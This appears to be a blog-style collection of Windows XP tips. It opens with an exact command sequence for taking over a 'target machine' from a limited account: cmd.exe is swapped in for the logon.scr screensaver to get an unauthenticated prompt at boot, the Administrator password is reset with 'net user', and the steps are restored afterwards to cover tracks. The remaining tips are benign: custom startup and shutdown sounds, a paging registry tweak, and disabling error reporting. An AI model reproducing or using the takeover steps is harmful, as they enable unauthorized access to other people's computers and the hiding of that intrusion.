1.) If you log into a limited account on your target machine and open up a dos promptthen enter this set of commands Exactly:cd\ *drops to rootcd\windows\system32 *directs to the system32 dirmkdir temphack *creates the folder temphackcopy logon.scr temphack\logon.scr *backsup logon.scrcopy cmd.exe temphack\cmd.exe *backsup cmd.exedel logon.scr *deletes original logon.scrrename cmd.exe logon.scr *renames cmd.exe to logon.screxit *quits dos
2.)Now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots thescreen saver you will get an unprotected dos prompt with out logging into XP.
3.)Once this happens if you enter this command minus the quotes”net user password”
4.) If the Administrator Account is called Admin and you want the password blah enter this”net user Admin blah”and this changes the password on Admin’s machine to blah and your in.
Note : Dont forget to copy the contents of temphack back into the system32 dir to cover tracks.
Have you ever felt bugged-up with the Start-up and Shutdown jingle of your Windows XP or Vista ? If yes, here is the solution, now you use any of your favorite voice or music or dialogue as your PC’s shutdown and start up.
It’s a simple 4 step process.
Choose the track which you want to play at start-up and shutdown jingles,
* It should be in .WAV format.
* The size of file should not be large, prefer keeping them within in 1 Mb, otherwise your startup will take a bit longer.
If the file you want to make your start-up or shutdown is not in .WAV format, you can easily convert them using Jet Audio 7, or any other converter.
Now rename these files as “Windows XP Startup.WAV” and “Windows XP Shutdown.WAV” respectively.
Now Go to “C:\WINDOWS\MEDIA”, here you will find files “Windows XP Startup.WAV” and “Windows XP Shutdown.WAV”, move them to some other locations, this step is required for, in case you need to revert back these sounds, else you can ignore this step.
Now the files you have chosen and renamed, just copy-paste or cut paste them in “C:\WINDOWS\MEDIA”, here you go, now you can enjoy the new Start-up and shutdown.
If you have 512 MB or more of RAM, you can increase system performance by having the Windows XP ‘Core’ kept in the RAM instead of paged on the hard disk.
Go to Start -> Run – Type regedit and press enter – On the left hand side tree, navigate to
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\
- On the list on the right side, look for an entry called ‘DisablePagingExecutive’
- Double click it
- Press 1 on your keyboard
- Click OK
- Exit regedit and reboot the computer
To revert to the default setting, follow the same steps as above, but this time, press 0(zero) instead of 1 on the keyboard.
Error reporting, what is it and why does Microsoft want you to have it on? Basically whenever your computer crashes Win XP makes a little report of what went wrong and then sends it to Microsoft so they can improve the Windows Operating System. Generally it sounds like a nice idea, but do you really want to be sending reports about your computer to Microsoft? I personally don’t and they allow you to shut off this feature. Here’s how you do it:
- Open your control panel
- Click on Performance and Maintenance
- Then click on System
- Go to the Advance Tab
- Click on the Error Reporting button at the bottom
- Select Disable Error Reporting
- Click the “But notify me when a critical error occurs”
- Click Ok Twice.
You can leave out step 7, but I like my operating system to tell me when its had a major error, mainly because I can look up the cause of the error and hopefully find a solution to it on the net or at Microsoft. There you have it, error reporting to Microsoft is off and you don’t have to worry about sending a report to Bill Gates.
I will not assume any responsibility for problems that may occur to yoursystem from using any of these suggestions. It is always prudent to backupimportant data before you make any changes to your operating system.